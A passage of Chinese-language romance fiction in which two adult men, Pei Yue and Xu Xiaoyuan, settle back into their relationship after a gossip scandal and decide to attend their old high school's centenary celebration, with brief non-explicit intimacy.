“你难道不想试试办公室的感觉？” “.…..我、我这里没有套！” “我带了。” …… * 这场“流言风波”就此告一段落。，项目重新回到了裴玥手上，裴玥继续回学校上班。学校里的流言也被清理的干干净净，裴玥过回了以前那平淡的生活，他跟许霄远也恢复到了过去的状态。 许霄远来找他的频率好像更多了，也会来学校教学楼门口接他，都是不避人的停靠在办公楼正大门对面的马路旁。裴玥还是会偶尔患得患失，害怕着许霄远突然有一天就不再来了，但眼下他感觉自己应该是是蛮幸福的。 至于其余的事情，他不想再去多想 八月暑假最热的那几天，许霄远基本上都住在顺华天府。裴玥也没什么事，有一天下午他躺在许霄远腿上打游戏，忽然看到手机栏推送过来一条信息： 【梧桐中学百年校庆，敬请期待！】 梧桐中学是裴玥高中时念的中学，这条消息是梧桐中学公众号推送过来的，裴玥都有些忘记自己为什么会关注高中母校的公众号。 校庆是十年一庆，每一届都会有许许多多好玩的项目。当年裴玥和许霄远出演的同志话剧就是在十年前的校庆的校园祭上参加的节目，裴玥盯着那翻新过后学校话剧院的照片，一些属于年少时光的回忆一点点蒙上了心头。 他忽然想回去看看。 但是只有一个人的回忆是不完整的，虽然当年的“结局”是不美好的，但眼下既然他仍旧和许霄远在一起，他感觉他已经有了足够的“底气”再回去看一眼那些属于美好篇章的记忆。 只是他不知道，许霄远也会不会想回去。 裴玥仰头看了看许霄远，许霄远正坐在旁边看电脑，鼻梁上架着的金边镜框衬托着他斯文又英俊。 “霄远，我收到了梧桐高中百年校庆的推送了。”裴玥翻了个身，撑着胳膊靠近许霄远，把手机递给许霄远面前。 许霄远的镜片里闪烁过几张白色婚纱的画面，他有条不紊将电脑关闭，把横在他和裴玥之间的抱枕给拿开。 裴玥：“我有点想回去，你想不想回去啊？” 裴玥看着许霄远的眼睛是亮晶晶的，没有了ppt倒映的许霄远的瞳孔呈深棕色。许霄远接过裴玥的手机，看着裴玥停留在话剧院的校庆宣传图，他的手指往下滑了几下，半晌说道， “我看一下时间吧，哪天？” 裴玥又亮了一个度：“八月二十三号。” 许霄远拿出自己的手机，看了看行程表。 裴玥的胳膊压着了许霄远的笔记本电脑，电脑CPU部位被用到有些发烫，裴玥在等待许霄远回应的功夫，伸手拿着许霄远的电脑看，这个电脑一看就价格不菲。 “你最近感觉一直在工作，是有什么事吗？” 许霄远慢慢地回答：“有一个融资，比较紧迫。” 裴玥：“感觉也不是很紧迫，不然你就不来这里了。” 许霄远笑了笑，揉了揉裴玥的头。过了一会儿他放下手机，摘了眼镜，就开始剥裴玥的睡衣。 裴玥很配合地让他剥掉了所有的衣服，白天阳光明媚，被防窥玻璃过滤后的日光如牛奶般打在裴玥瘦削又不失力量的身子上。许霄远埋头开始啃裴玥白皙的脖颈，两个人都开始喘着粗气时，许霄远突然应了声刚刚的问题。 “二十三号没什么事情，我跟你一起回梧桐高中。” “十年没回去过，也有点想回去看看了。”